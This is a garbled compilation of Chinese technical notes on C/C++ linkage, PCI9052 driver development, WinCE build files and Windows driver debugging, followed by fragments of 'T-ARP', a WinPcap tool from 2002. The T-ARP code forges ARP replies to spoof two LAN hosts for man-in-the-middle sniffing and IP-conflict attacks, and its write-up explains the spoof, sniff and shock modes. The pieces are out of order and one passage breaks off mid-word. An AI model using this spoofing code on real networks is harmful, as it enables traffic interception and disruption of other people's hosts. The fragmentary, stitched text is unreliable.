------------------------------------------------------------------------------------------------------------------------------

如果要在C++程序中引用C程序中的变量，要在extern后加"C"。在appmodul.cpp(MFC核心头文件)中有一个例子extern "C" int WINAPI，引用了crtexe.c里的WINAPI变量。
　　常用的 extern "C" 是把导出函数声明为C编译。由于C++编译器在编译的时候会造成其函数名的该变，在其他应用程序中导致函数不可调用，而C编译器则不会在编译后改变其函数名。这样如果用C编译的程序来调用该dll中的函数时，可能会造成找不到该函数。但若要实现函数的重载应该使用def文件。

如果把PC机作为控制系统的操作平台，PCI总线作为一种先进的高性能32／64位局部总线正迅速取代原来的ISA总线的主导地位，以用于高速外设，并成为微型计算机系统的主流系统，因而也成为工程开发人员用于工业控制的首选。为了缩短开发周期，一般都采用专用的接口器件。本文就是采用PLX公司的PCI9052来把PCI总线上的操作转换为对局部总线的操作，同时通过双口RAM实现和下位机的存储转接。针对一般PCI总线开发时由于软硬件分离使开发的软硬件不能很好结合的现象，本文结合实例介绍了应用程序并给出了如何通过DriverStudio开发的PCI设备驱动程序来访问PCI设备卡硬件资源的具体程序。

1 PCI的配置空间及其配置

PCI总线支持存储器地址空间、I／O地址空间和配置空间等三个物理空间。其中，配置空间是PCI总线所特有的一个空间，PCI总线能实现即插即用的功能，正是通过它特有的配置空间来实现的。PCI配置空间的大小为256字节，分为头标区和设备有关区。直接影响设备特性的配置寄存器在头标区，其他部分则因设备而异。PCI总线的配置空间通常与PCI接口芯片相关。该配置空间包括一系列的PCI配置寄存器。本文采用的PCI9052芯片的配置寄存器分为PCI配置寄存器和局部配置寄存器，二者都可以由PCI总线和串行EEPROM访问。

在PCI配置寄存器中的设备ID、制造商ID、版本号、首区类代码、类别代码、指令寄存器和状态寄存器等寄存器在所有的PCI设备中都必须实现，具体设置可参考文献[1]。通常情况下，操作系统可使用这些寄存器的内容来决定该PCI设备的加载其驱动程序。

PCI总线最重要的功能之一是通过基地址寄存器和局部配置寄存器在地址空间重定位PCI设备。系统上电时，通过上层应用软件能判断系统中存在那些设备，并建立协调的地址映射。所以，基地址寄存器和局部配置寄存器是实现驱动程序的关键。

PCI配置寄存器提供有6个基地址寄存器(BASE0～BASE5)这些基地址都是系统中的物理地址，其中BASE0和BASE1是用来访问局部配置寄存器的基地址，BASE0是映射到内存的基地址，BASE1是映射到I／O的基地址，可用于通过内存和I／O来访问局部配置寄存器。这两个基地址可固定用于PCI9052芯片的寄存器操作。

通过BASE2～BASE5四个空间最多可以访问局部端所接的4个芯片，实现4个局部地址空间(局部空间0～3)的PCI总线访问。PCI总线对局部端所接芯片的局部地址映射是通过4个寄存器组(PCI基地址寄存器，局部范围寄存器，局部基地址寄存器，局部总线区域描述符)来实现的。这个组定义了每个空间以及相应局部空间的特性。它们将局部端的芯片通过局部端地址(在局部配置寄存器中设置)翻译成PCI总线地址，也就是将本地的芯片映射到系统的内存或I／O口。而片选信号寄存器则是用来选定这些局部端所接的芯片的。这样，用程序操作这一段内存(或I／O)实际上就是对本地芯片的操作。其映射关系如图1所示。这些寄存器的内容必须在芯片复位时通过串行E2PROM进行加载，而正确配置E2PROM的内容则是使用PCI9052的关键。

本设计选取LAS0(Local Address Space 0)来访问局部端的双口RAM芯片中的2 KB寻址空间，与其有关的寄存器有四个：LAS0范围寄存器、LAS0局部基址寄存器、LAS0局部总线区域描述符和片选0基址寄存器。LAS0范围寄存器规定了地址空间的大小。由于需要2 KB的内存空间，而计算机预留了32 KB空间(即8000H)，所以其寄存器值为0xFFFF8000H，而类型则是不可预取的；LAS0局部基地址寄存器定义了设备卡资源上所占用的基地址，它的最终目的是将这个基地址重新映射到PCI地址空间。由于基地址必须是32KB的整数倍，因此，为方便起见，可以将基地址定为00000000H，又由于位0为空间使能位，所以，寄存器的值为00000001H；LAS0局部总线区域描述符用来定义地址空间0的具体工作特性。

该总线采用16位总线宽度，工作方式定义为不使能突发和不预取，因此，该寄存器的数值初步确定为4043A1C0H，最终的值则需要不断测试才能确定；片选0基址寄存器使用PCI9052的CS0#作为双口RAM的片选信号，CS0#片选信号的起始地址和地址范围由片选0基址寄存器设置，局部总线的容量是2 KB，第11位为1，基地址是该范围的16倍，一般将倍数放置在范围位之后，所以寄存器值设置为0xO008401。当从局部空间0基址开始的2 KB空间范围落在CS0基地址寄存器所设置的范围内，CS0端有效，这种方式可减少地址译码得到的片选逻辑。

用PLX9052可将PCI总线上的操作转换为对局部总线的操作，即通过LAD0～LAD7、RD、WR、CS等对局部端芯片访问。如果系统分配给本卡的存储空间为FFFF0000H～FFFF7FFFFH。那么，当系统通过PCI总线访问这个区域时，PLX9052就会应答，并将其转换为局部地址0x0000H～0x07FFH，另外，PLX9052自身也有一些内部寄存器，它们被自动映射到另一片内存区域，可通过PCI总线直接访问。

PCI9052提供了两种类型的中断源(硬件中断和软件中断)。中断可通过PCI9052中断控制／状态寄存器来(INTCSR)允许和禁止。PCI9052通过2个局部中断引脚来实现硬件中断，它们支持边缘和电平触发中断，可以通过对INTCSR寄存器的编程来实现局部中断，然后产生PCI中断(INTA)，并生成PCI中断INTA#方式。PCI9052可以软件方式产生中断，设计时只需要将INTCSR寄存器的软件中断位设置为1即可。

2 驱动程序的开发

在开发PCI板卡功能驱动程序之前，首先要明白所需的PCI硬件资源，并针对设备卡的硬件资源来处理PCI设备的内存、端口的读写，以及中断处理，从而实现PCI设备功能。

2.1 驱动程序在操作系统体系结构中的位置

操作系统结构可分为五层模型：

(1)用户应用程序；

(2)IO管理层；

(3)驱动程序；

(4)HAL(硬件抽象层)；

(5)硬件。

图2给出了Windows2000操作系统驱动程序开发者所关心的特征，一般情况下，软件要么在用户模式中执行，要么在内核模式下执行。从驱动开发的角度上看，WDM模型为存在于Win-dows2000系统中的驱动程序提供了一个参考框架。作为Windows2000系统结构开发人员，由于操作系统为应用程序，而在驱动程序和硬件之间提供有系统服务接口和平台相关操作，因此，设计时只需要关注应用程序和设备驱动程序的开发。

2.2 设备资源

PCI设备的硬件资源分配与管理是驱动程序很重要的部分，设备的硬件资源包括内存空间、I／O空间和中断。由于PCI总线为PnP总线，PCI设备的硬件资源是由PCI配置机构动态分配给PCI配置寄存器的，因此，驱动程序首先需要取得这些资源才能操作硬件。当PnP管理器检测到PCI设备时，系统就会发送IRP_MN_START_DEVICE的IRP给驱动程序，驱动程序调用OnStartDevice以启动例程处理，并在启动例程里获取该IRP栈，同时把它包含的系统分配给该设备的资源信息。

用DriverStudio开发驱动程序时，应在Wizard中设置好PCI设备的资源。对于实际的PCI9052设备卡，其基地址寄存器0和1分别固定用于PCI9052局部寄存器的内存映射地址和I／O映射地址，基地址寄存器2则用于设备卡的内存映射地址，并使用局部中断引脚来产生PCI中断，以分别生成对应的KIoRange类、KMemoryRange类和KInterrupt类。这些配置信息由配置管理器发送到OnStartDevice中重载该成员函数，而开发者则不必再处理。在一般情况下，驱动程序无需再访问PCI设备的配置空间，如果需要访问，则可通过类KPciConfiguration，该类包含了通过向PCI总线发送渎写配置空间的IRP操作。也可定义类KRe-sourceAssignment来获取PCI的端口地址和中断号以及内存地址和大小，并把得到的资源放在用户自己定义的变量中。

2.3 WDM驱动程序对硬件资源的访问

获取设备的硬件资源以后，就可以对硬件资源进行访问了。对硬件的访问一般包括I／O端口访问和内存访问，它们分别对应PCI配置空间的I／O空间和内存空间。从图2可以看出，当应用程序需要访问设备时，它就会调用Win32API函数(如ReadFile)。Win32子系统模块通过调用平台相关的系统服务接口实现该API，而平台相关的系统服务则调用内核模式来支持例程。即在调用ReadFile函数时，首先到达系统的人口点，然后调用系统服务接口，最后由系统调用内核模式的服务例程。执行时首先检查传递给它们的参数，然后创建一个“I／O请求包(IRP)”的数据结构，并把这个数据结构送到某个驱动程序的入口点执行IRP设备驱动程序，最后再访问硬件。对于PIO方式的设备，一个IRP_MJ_READ操作将直接读取设备的端口或设备的内存寄存器。一般会使用硬件抽象层(HAL)来访问硬件。IRP贯穿于驱动程序之间，它在应用程序、驱动程序和设备之间起着桥梁作用，可称之为内核态的“消息”。驱动程序完成一个I／O操作后，可通过调用一个特殊内核模式服务例程来完成该IRP，完成操作时再处理IRP的最后工作，以它使等待的应用程序恢复运行。

用DriverStudio开发驱动程序时，可根据配置声明KIoRange类、KMemoryRange类和KInterrupt类来实现对内存空间、I／O空间、中断的操作。在本例中，基地址寄存器0和1固定用于PCI9052芯片的操作寄存器内存映射地址和I／O映射地址，基地址寄存器2则用于双口RAM的内存映射。通过一个外部引脚即可产生中断。标识两个KMem-oryRange类实例、一个KIoRange类实例和一个KInterrupt类实例的具体实现细节如下：

(1) I／O端口的访问

I／O端口的访问流程如图3所示，应用程序通过API函数DeviceIoControl的调用，并调用驱动程序的分发例程DeviceControl，同时通过KIoRange类来实现对I／O映射空间的访问。需要注意的是，当DeviceloControl异步调用的时候，必须在驱动程序中添加取消例程，并在DeviceControl例程中阻止一个应用程序对其的多次调用。KIoRange类的成员函数outb、inb、outw、inw、ind、outd可分别用于从端口读或写一个字节、字和双字数据。在WDM中，对于I／O端口，系统可将其看成寄存器，一般用于数字传输量比较小的地方。在对PCI设备的访问中，I／O端口的访问通常比较频繁。

(2) 内存的访问

在基于DriverStudio开发的驱动程序中，向存储器空间读写大量数据一般选用Write／Read函数，但对于一个实际存在的物理设备的访问，在某一时刻只能进行一个操作，因而在访问内存对象的时候，一般都要求一个IRP排队的队列，可通过设备类的成员函数QueueIrp将IRP插入队列。DriverWorks提供有KDeviceQueue类，其成员函数StartIo用于处理设备对象的IRP队列。具体的操作是通过KMemoryRange类来实现对设备内存映射空间的访问。其访问流程见图4所示。需要注意的是，当IRP队列为空时，调用QueueIrp时，系统将同步调用StartIo函数。

(3) 中断处理

驱动程序的中断处理编程涉及到内核机制比较多的一种驱动程序，因而相对复杂。首先用中断服务程序提升系统的IRQL，但不能进行大多数有用的内核调用。另外，提升IRQL运行代码需要尽可能快地运行。所以，中断处理一般和在DIS-PATCH_LEVEL级运行的延迟调用(DPC)例程相配合可解决以上两个问题。在DriverWorks中，通常通过KInterrupt类和KDeferredCall类来实现，并通过向导来在中断服务例程和DPC中增加功能代码。KDeferredCall类封装有DPC的操作。KInter-rupt类用于实现硬件中断的处理，其成员函数包括中断初始化，以及将一个中断服务例程连接到另一个中断和解除其连接等。在中断服务例程中把IRP交给DPC例程，可在DPC处理完后结束该IRP。需要注意的是，中断服务例程不是KInter-rupt类的成员函数，它的主要作用是减少中断延迟时间。

3 结束语

本文主要从访问设备硬件资源的角度介绍了PCI配置空间的配置和驱动程序的开发方法。利用该方法可对PCI板卡的配置空间和所需的硬件资源进行正确设置，然后通过DriverStudio的驱动程序向导生成工具在程序框架里添加适当的代码，最后借助于DriverStudio开发包提供的调试工具SoftICE和DriverMonitor以及由Wizard产生的控制台应用程序，来快速开发出基于PCI总线的设备驱动程序。

TARGETNAME,定义模块名称.
TARGETTYPE,模块的种类,可以是DYNLINK, LIBRARY,EXE.
如果TARGETTYPE是DLL,则可以定义DLLENTRY,将Dll入口定义成别的不是DLLMain的函数,如果DLL的入口是DllMain，则不需要别的定义。
如果TARGETTYPE是EXE,则可以定义EXEENTRY,用于指定EXE的入口函数.

如果TARGETTYPE是LIBRARY,则不需要定义入口函数。

INCLUDES，如果一个模块需要使用非标准路径下的头文件时,需要定义INCLUDES,用于包含更多的头文件路径,用法如下:

INCLUDES=$(INCLUDES);\new directory\...,注意定义新的INCLUDES时,需要包含INCLUDES原来的值，否则就需要包含所有可能的目录。

TARGETLIBS,SOURCELIBS用于定义该模块需要链接哪些库文件.

TARGETLIBS，如果一个库以DLL的形式提供给调用者，就需要用TARGETLIBS，它只链接一个函数地址，系统执行时会将被链接的库加载。比如coredll.lib就是这样的库文件。即动态链接。

SOURCELIBS，将库中的函数实体链接进来。即静态链接，用到的函数会在我们的文件中形成一份拷贝。

注意，内核这个执行文件是没有TARGETLIBS的，GIISR.DLL也不能有TARGETLIBS。

WINCECOD,如果将其定义为1,则编译器会为每一个文件生成.cod文件,它是一个汇编文件，调试时查看汇编代码也是一种很好的办法。

SOURCES,定义该模块需要哪些源文件.

1．打印调试信息

       对于开发驱动程序来说，最简单的调试方法就是打印出调试信息。因为驱动程序很难像应用程序那样由一般的调试器调试，因此，打印调试信息是运用最为广泛的调试技巧。

       打印调试信息需要使用DbgPrint函数，使用方法类似于c函数printf。另外，还有一个宏KdPrint，在checked版本中，它对应着DbgPrint函数，而在free版本中，它不做任何操作。

       如果希望不管是在checked版本还是free版本，都希望自己可以控制调试信息的输出，那我们可以这样的方式实现，通过宏开关定义，如下所示：

//打印错误信息

#define       FLAG_DEBUG_ERROR

//打印函数进入退出信息

#define       FLAG_DEBUG_FUNC

//打印其它信息

#define       FLAG_DEBUG_INFO

#if defined (FLAG_DEBUG_ERROR)

#define  DEBUG_ERROR(fmt)   { DbgPrint fmt ;}

#else

#define  DEBUG_ERROR(fmt)

#endif

#if defined (FLAG_DEBUG_FUNC)

#define  DEBUG_FUNC(fmt)    { DbgPrint fmt ;}

#else

#define  DEBUG_FUNC(fmt)

#endif

#if defined (FLAG_DEBUG_INFO)

#define  DEBUG_INFO(fmt)    { DbgPrint fmt ;}

#else

#define  DEBUG_INFO(fmt)

#endif

#define INTO_FUNC  DEBUG_FUNC(("===>>> %s\n", __FUNCTION__))

#define OUT_FUNC   DEBUG_FUNC(("<<<=== %s\n", __FUNCTION__))

     查看调试信息，一般使用DbgView工具软件。

2．存储dump信息

       打印调试信息，可以满足大部分的调试需要，然后有时驱动经常导致蓝屏死机的情况，这样即使打印了调试信息，也没办法看到，这种情况下，可以设置dump信息。所谓的dump信息就是在系统崩溃之前，操作系统会将当前的调用堆栈记录成一个dump文件，这个文件对以后的分析极为有用。

       设置存储dump信息的方法如下。

       右键单击“我的电脑”，选择“属性”，弹出“系统属性”对话框。选择“高级”选项卡，然后在“启动和故障恢复”栏内，单击“设置”按钮，弹出“启动和故障恢复”对话框，在“系统失败”栏内，设置写入调试信息，如下图所示。

3．使用WinDbg调试工具查看dump信息

       Dump信息，必须用专用的工具软件查看，一般使用WinDbg工具，这个需要下载符号表（具体使用参看这篇文章http://www.cppblog.com/aurain/archive/2009/01/04/71138.html）。

       打开WinDbg软件后，选择菜单“File|Open Crash Dump”或“Ctrl+D”，然后选择dump文件，这些文件一般存在在c:\windows\目录下，.dmp格式。打开完毕后，在命令框内输入!analyze –v后回车，回显示崩溃前内核堆栈调用说明，因此可以分析出是什么地方出了问题。如下图所提示的分析信息：

*******************************************************************************

*                                                                             *

*                        Bugcheck Analysis                                    *

*                                                                             *

*******************************************************************************

DRIVER_UNLOADED_WITHOUT_CANCELLING_PENDING_OPERATIONS (ce)

A driver unloaded without cancelling timers, DPCs, worker threads, etc.

The broken driver's name is displayed on the screen.

Arguments:

Arg1: f76cf820, memory referenced

Arg2: 00000008, value 0 = read operation, 1 = write operation

Arg3: f76cf820, If non-zero, the instruction address which referenced the bad memory

       address.

Arg4: 00000000, Mm internal code.

Debugging Details:

------------------

近一个多月以来一直在看驱动方面的东西，把马少华翻译的Programming the Microsoft Windows Drivers Model的第一版算是过了一遍，但一直没有动手写一行代码。每个人的学习方式不同，对于我来说，一样东西如果没有一个框架上的大体把握，就象新到一个城市，一下还找不到方位感，说起一个地方，根本不知道处于自己所在位置的哪个方向，因而相当长的一段时间内会感觉到特别别扭。当然，也只是别扭而已，你知道这需要时间的，时间够了，有些东西会自然地沉积在你的身体里，然后可以不假思索地说出东西南北来，这么多年了，你多少对自己还保留着一点信心吧！呵呵。

老马翻译的是第一版，我机器上也有Walter Oney的第二版（E文），内容扩充了不少，我曾经试图直接看二版的，东西总要新一些吧。唉！看了一段时间，进度太慢了，E文的水准还处于边读边翻译的阶段，每句话都要过到脑子里先变成中文再理解，如果看自己已经熟悉的东西，可能还能好点，对于驱动新手来说，很多概念是新的，再这么折腾绕一回，老费劲了。想一想，还是别为难自己了，先对整体框架有了一个大体的把握，回头再看E文的也行吧。也不记得在哪找到了老马的中文版（好像�

    fsin.sin_addr.s_addr=htonl(firstip);
    ssin.sin_addr.s_addr=htonl(secondip);

    eth.eh_type=htons(ETH_ARP);
    arp.arp_hdr=htons(ARP_HARDWARE);
    arp.arp_pro=htons(ETH_IP);
    arp.arp_hln=6;
    arp.arp_pln=4;
       arp.arp_opt=htons(ARP_REPLY);      

    if(fun==3)
    {
        if(mm)
        {
            if((firstip==myip) && (secondip==myip))
            {
                        fm=TRUE;
                     sm=TRUE;

                memcpy(fmac,mmac,6);
                memcpy(smac,mmac,6);
            }
            else if(!fm || !sm)
            {
                printf("\nNot get enough data\n");
                return -1;
            }

            for(j=0;j<2;j++)
            {
                if(j==0)
                {
                    printf("\nSpoofing %.16s :  ",inet_ntoa(fsin.sin_addr));
                    printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));
                }
                else if(j==1)
                {
                    printf("Spoofing %.16s :  ",inet_ntoa(ssin.sin_addr));
                    printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));
                }
                                for(k=0;k<5;k++)
                        printf("%.2x-",mmac[k]);
                    printf("%.2x\n",mmac[5]);
            }
            printf("\ni will try to snoof ...\n\n");
                    stimes=TRUE;
        }
        else
        {
            printf("\nNot get enough data\n");
                return -1;
        }
    }
    else if(fun==4)
    {
        if(mm)
        {
            if((firstip==myip) && (secondip==myip))
            {
                        fm=TRUE;
                        sm=TRUE;

                         memcpy(fmac,mmac,6);
                      memcpy(smac,mmac,6);
            }
            else if(!fm || !sm)
            {
                              printf("\nNot get enough data\n");
                         return -1;
            }

            printf("\nReset %.16s :  ",inet_ntoa(fsin.sin_addr));
            printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));

                        for(k=0;k<5;k++)
                    printf("%.2x-",smac[k]);
                printf("%.2x\n",smac[5]);

            printf("Reset %.16s :  ",inet_ntoa(ssin.sin_addr));
            printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));

                        for(k=0;k<5;k++)
                    printf("%.2x-",fmac[k]);
                 printf("%.2x\n\n",fmac[5]);

                    stimes=FALSE;
        }
        else
        {
            printf("\nNot get enough data\n");
                return -1;
        }
    }
    else
        return -1;

    do
    {
        memcpy(eth.eh_dst,fmac,6);
        memcpy(arp.arp_tha,fmac,6);
        arp.arp_tpa=htonl(firstip);
        arp.arp_spa=htonl(secondip);

        if(!stimes)
        {
            memcpy(eth.eh_src,smac,6);
            memcpy(arp.arp_sha,smac,6);
        }
        else
        {
            memcpy(eth.eh_src,mmac,6);
            memcpy(arp.arp_sha,mmac,6);
        }

        memset(sendbuf,0,sizeof(sendbuf));
        memcpy(sendbuf,&eth;,sizeof(eth));
        memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

        PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));

            if(PacketSetNumWrites(lpadapter,2)==FALSE)
        {
               printf("Warning: Unable to send a packet 2 times\n");
        }

        if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
        {
            printf("PacketSendPacket in SendSR Error: %d\n",GetLastError());
            return -1;
        }
        Sleep(1000); 

        memcpy(eth.eh_dst,smac,6);
        memcpy(arp.arp_tha,smac,6);
        arp.arp_tpa=htonl(secondip);
        arp.arp_spa=htonl(firstip);

        if(!stimes)
        {
            memcpy(eth.eh_src,fmac,6);
            memcpy(arp.arp_sha,fmac,6);
        }
                else   
        {
            memcpy(eth.eh_src,mmac,6);
            memcpy(arp.arp_sha,mmac,6);
        }

#include <packet32.h>
#include <ntddndis.h>
#include <stdio.h>
#include <conio.h>

#pragma comment(lib,"ws2_32")
#pragma comment(lib,"packet")

#define ETH_IP       0x0800
#define ETH_ARP      0x0806
#define ARP_REQUEST  0x0001
#define ARP_REPLY    0x0002
#define ARP_HARDWARE 0x0001
#define max_num_adapter  10

#pragma pack(push,1)

typedef struct ethdr
{
    unsigned char   eh_dst[6];
    unsigned char   eh_src[6];
    unsigned short  eh_type;
}ETHDR,*PETHDR;

typedef struct arphdr
{
    unsigned short  arp_hdr;
    unsigned short  arp_pro;
    unsigned char   arp_hln;
    unsigned char   arp_pln;
    unsigned short  arp_opt;
    unsigned char   arp_sha[6];
    unsigned long   arp_spa;
    unsigned char   arp_tha[6];
    unsigned long   arp_tpa;
}ARPHDR,*PARPHDR;

typedef struct iphdr
{
    unsigned char  h_lenver;
    unsigned char  tos;
    unsigned short total_len;
    unsigned short ident;
    unsigned short frag_and_flags;
    unsigned char  ttl;
    unsigned char  proto;
    unsigned short checksum;
    unsigned int   sourceip;
    unsigned int   destip;
}IPHDR,*PIPHDR;

#pragma pack(push)

LPADAPTER lpadapter=0;
LPPACKET  lppacketr,lppackets;
ULONG     myip,firstip,secondip;
UCHAR     mmac[6]={0},fmac[6]={0},smac[6]={0};
BOOL      mm=FALSE,fm=FALSE,sm=FALSE;
FILE      *fp;
char      adapterlist[max_num_adapter][1024];
char      msg[50];
int       num=0;

void start()
{
    printf("T-ARP --- ARP Tools, by TOo2y(ò1é?), 11-9-2002\n");
    printf("Homepage: www.safechina.net\n");
    printf("E-mail: TOo2y@safechina.net\n");
    return ;
}

void usage()
{
    printf("\nUsage: T-ARP  [-m|-a|-s|-r]  firstip  secondip  \n\n");
    printf("Option:\n");
    printf("   -m  mac        Get the mac address from firstip to secondip\n");
    printf("   -a  antisniff  Get the sniffing host from firstip to secondip\n");
    printf("   -s  spoof      1> Spoof the host between firstip and secondip\n");
    printf("       sniff      2> Sniff if firstip == secondip == your own ip\n");
    printf("       shock      3> Shock if firstip == secondip != your own ip\n");
    printf("   -r  reset      Reset the spoofed host work normally\n\n");
    printf("Attention:\n");
    printf("    1> You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n");
    printf("    2> HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\IPEnableRouter==0x1\n\n");
    return ;
}

int getmine()
{
    char   sendbuf[1024];
    int    k;
    ETHDR  eth;
    ARPHDR arp;

    for(k=0;k<6;k++)
    {
        eth.eh_dst[k]=0xff;
        eth.eh_src[k]=0x82;
        arp.arp_sha[k]=0x82;
        arp.arp_tha[k]=0x00;
    }
    eth.eh_type=htons(ETH_ARP);
    arp.arp_hdr=htons(ARP_HARDWARE);
    arp.arp_pro=htons(ETH_IP);
    arp.arp_hln=6;
    arp.arp_pln=4;
    arp.arp_opt=htons(ARP_REQUEST);
    arp.arp_tpa=htonl(myip);
    arp.arp_spa=inet_addr("112.112.112.112");

    memset(sendbuf,0,sizeof(sendbuf));
    memcpy(sendbuf,&eth;,sizeof(eth));
    memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

    PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
    if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
    {
        printf("PacketSendPacket in getmine Error: %d\n",GetLastError());
        return -1;            
    }
    return 0;
}

void getdata(LPPACKET lp,int op)
{
    ULONG  ulbytesreceived,off,tlen,ulen,ulLines;
    ULONG  j,k;
    ETHDR  *eth;
    ARPHDR *arp;
    PIPHDR ip;
    char   *buf,*pChar,*pLine,*base;
    struct bpf_hdr      *hdr;
    struct sockaddr_in  sin;

一）winpcap驱动简介
    winpcap(windows packet capture)是windows平台下一个免费，公共的网络访问系统。开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。它提供了以下的各项功能：
    1> 捕获原始数据报，包括在共享网络上各主机发送/接收的以及相互之间交换的数据报；
    2> 在数据报发往应用程序之前，按照自定义的规则将某些特殊的数据报过滤掉；
    3> 在网络上发送原始的数据报；
    4> 收集网络通信过程中的统计信息。

    winpcap的主要功能在于独立于主机协议（如TCP-IP)而发送和接收原始数据报。也就是说，winpcap不能阻塞，过滤或控制其他应用程序数据报的发收，它仅仅只是监听共享网络上传送的数据报。因此，它不能用于QoS调度程序或个人防火墙。

    目前，winpcap开发的主要对象是windows NT/2000/XP，这主要是因为在使用winpcap的用户中只有一小部分是仅使用windows 95/98/Me，并且M$也已经放弃了对win9x的开发。因此本文相关的程序T-ARP也是面向NT/2000/XP用户的。其实winpcap中的面向9x系统的概念和NT系统的非常相似，只是在某些实现上有点差异，比如说9x只支持ANSI编码，而NT系统则提倡使用Unicode编码。

    本文讨论的是packet.dll所提供的各种函数，因为它们完全可以实现本文所希望的各项要求。但是如果你有其他特别的或更高级的要求，winpcap也提供了另一个动态连接库wpcap.dll。虽然wpcap.dll依靠于packet.dll,但是它却提供了一种更简单，直接，有力的方法来更好的利用编程环境。比如捕获一个数据报，创建一个数据报过滤装置或将监听到的数据报转存到某个文件等，wpcap.dll都会为你提供更加安全的实现方法。

二）Packet.dll相关数据结构及函数 
    本文的目的之一在于介绍如何利用winpcap驱动写ARP工具，因此有必要介绍一些相关的数据结构和函数，要不然看着一行行代码和函数，也许会有些不知所云。

    首先介绍一些相关的数据结构：
      1. typedef struct _ADAPTER  ADAPTER  //描述一个网络适配器；
      2. typedef struct _PACKET PACKET     //描述一组网络数据报的结构；
      3. typedef struct NetType NetType    //描述网络类型的数据结构；
      4. typedef struct npf_if_addr npf_if_addr  //描述一个网络适配器的ip地址；
      5. struct bpf_hdr   //数据报头部；
      6. struct bpf_stat  //当前捕获数据报的统计信息。

    下面，将介绍T-ARP用到的各个函数，他们都是在packet.dll中定义的：
    1>  LPPACKET PacketAllocatePacket(void)
        如果运行成功，返回一个_PACKET结构的指针，否则返回NULL。成功返回的结果将会传送到PacketReceivePacket()函数，接收来自驱动的网络数据报。

    2>  VOID PacketCloseAdapter(LPADAPTER lpAdapter)
        关闭参数中提供的网络适配器，释放相关的ADAPTER结构。

    3>  VOID PacketFreePacket(LPPACKET lpPacket)
        释放参数提供的_PACKET结构。

    4>  BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize)
        返回可以得到的网络适配器列表及描述。

    5>  BOOLEAN PacketGetNetInfoEx(LPTSTR AdapterNames,npf_ip_addr *buff, PLONG NEntries)
        返回某个网络适配器的全面地址信息。
        其中npf_ip_addr结构包含：IPAddress,SubnetMask,Broadcast
        IPAddress: ip地址
        SubnetMask: 子网掩码
        Broadcast: 广播地址

    6>  BOOLEAN PacketGetNetType(LPADAPTER AdapterObject, NetType *type)
        返回某个网络适配器的MAC类型。
        NetType结构里包含了LinkSpeed(速度）和LinkType(类型）。其中LinkType包含以下几种情况：
          NdisMedium802_3: Ethernet(802.3)
          NdisMediumWan: WAN
          NdisMedium802_5: Token Ring(802.5)
          NdisMediumFddi: FDDI
          NdisMediumAtm: ATM
          NdisMediumArcnet878_2: ARCNET(878.2)

    7>  BOOLEAN PacketGetStats(LPADAPTER AdapterObject,struct bpf_stat *s)
        返回几个关于当前捕获报告的统计信息。
        其中bpf_stat结构包含：bs_recv, bs_drop,ps_ifdrop,bs_capt
          bs_recv: 从网络适配器开始捕获数据报开始所接收到的所有数据报的数目，包括丢失的数据报；
          bs_drop: 丢失的数据报数目。在驱动缓冲区已经满时，就会发生数据报丢失的情况。

    8>  PCHAR PacketGetVersion()
        返回关于dll的版本信息。

    9>  VOID PacketInitPacket(LPPACKET lpPacket, PVOID Buffer, UINT Length)
        初始化一个_PACKET结构。

    10> LPADAPTER PacketOpetAdapter(LPTSTR AdapterName)
        打开一个网络适配器。

    11> BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync)
        从NPF驱动程序读取网络数据报及统计信息。
        数据报编码结构： |bpf_hdr|data|Padding|bpf_hdr|data|Padding|

    12> BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync)
        发送一个或多个数据报的副本。

    13> BOOLEAN PacketSetBuff(LPADAPTER AdapterObject,int dim)
        设置捕获数据报的内核级缓冲区大小。

    14> BOOLEAN PacketSetHwFilter(LPADAPTER AdapterObject,ULONG Filter)
        为接收到的数据报设置硬件过滤规则。
        以下为一些典型的过滤规则：
          NDIS_PACKET_TYPE_PROMISCUOUS: 设置为混杂模式，接收所有流过的数据报；
          NDIS_PACKET_TYPE_DIRECTED: 只有目的地为本地主机网络适配器的数据报才会被接收；
          NDIS_PACKET_TYPE_BROADCAST: 只有广播数据报才会被接收；
          NDIS_PACKET_TYPE_MULTICAST: 只有与本地主机网络适配器相对应的多播数据报才会被接收；
          NDIS_PACKET_TYPE_ALL_MULTICAST: 所有多播数据报均被接收；
          NDIS_PACKET_TYPE_ALL_LOCAL: 所有本地数据报均被接收。

    15> BOOLEAN PacketSetNumWrites(LPADAPTER AdapterObject,int nwrites)
        设置调用PacketSendPacket()函数发送一个数据报副本所重复的次数。

    16> BOOLEAN PacketSetReadTimeout(LPADAPTER AdapterObject,int timeout)
        设置在接收到一个数据报后“休息”的时间。
   
    以上就是T-ARP所调用的各个函数，它包含了packet.dll里的大部分函数。如果你想更深层的了解winpcap,请访问相关网站，主页地址： http://winpcap.polito.it

三）T-ARP功能及原理介绍
    准备工作： 
      1. 安装winpcap驱动，目前最新的版本为winpcap_3.0_alpha, 稳定版本为winpcap_2.3；
      2. 使用ARP欺骗功能前，必须启动ip路由功能，修改(添加)注册表选项：
　　  　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1　

    选项: 
      -m  主机扫描，获得局域网内指定ip段中存活主机的ip地址和mac地址；
      -a  反嗅探扫描，获得局域网内指定ip段中嗅探主机的ip地址和mac地址；
      -s  ARP欺骗，欺骗局域网内指定的两台主机，使其相互发送接收的数据报均通过本地主机；
          网络嗅探，如果你选择欺骗的两台主机均是本地主机，那么将会监听到所有流过本地主机的数据报；
          IP冲突，如果你选择欺骗的两台主机是同一台非本地主机，那么就会发起ip冲突攻击；
      -r  重置被欺骗主机，使被欺骗的两台主机恢复正常的工作状态。

    原理及实现过程：
